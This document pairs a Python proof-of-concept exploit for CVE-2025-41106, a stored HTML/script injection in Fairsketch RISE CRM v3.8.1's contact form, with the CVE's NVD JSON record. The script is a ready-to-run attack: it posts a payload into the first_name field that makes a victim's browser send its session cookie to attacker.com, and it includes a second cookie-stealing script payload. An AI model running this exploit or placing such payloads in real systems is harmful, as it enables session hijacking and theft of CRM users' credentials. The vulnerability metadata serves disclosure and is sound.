CVE-2025-41106

import requests import sys # CVE-2025-41106 HTML Injection PoC # Target: Fairsketch RISE CRM Framework v3.8.1 # Endpoint: /clients/save_contact/ def exploit(target_url, session_cookie): """ Exploit HTML injection in first_name parameter """ # Malicious HTML payload - steals cookies payload = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">' # Alternative payload - cookie theft via script tag # payload = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>' data = { 'first_name': payload, 'last_name': 'Test', 'email': '[email protected]', 'phone': '1234567890' } headers = { 'Cookie': f'session={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post( f'{target_url}/clients/save_contact/', data=data, headers=headers, verify=False ) if response.status_code == 200: print('[+] Payload sent successfully') print('[+] Payload:', payload) print('[+] Victim will execute JavaScript when viewing the contact') return True else: print('[-] Failed to send payload') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-41106.py <target_url> <session_cookie>') print('Example: python cve-2025-41106.py http://target.com "PHPSESSID=abc123"') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit(target, cookie)

{"cve": {"id": "CVE-2025-41106", "sourceIdentifier": "[email protected]", "published": "2025-11-11T13:15:45.037", "lastModified": "2025-11-17T15:17:21.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HTML injection vulnerability found in Fairsketch's RISE CRM Framework v3.8.1, which consist of an HTML code injection due to lack of proper validation of user inputs by sending a POST request in parameter 'first_name' in '/clients/save_contact/'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fairsketch:rise_ultimate_project_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9", "matchCriteriaId": "74BD57F9-A8D9-4C91-8B8B-06E6648E1791"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-fairsketchs-rise-crm-framework", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}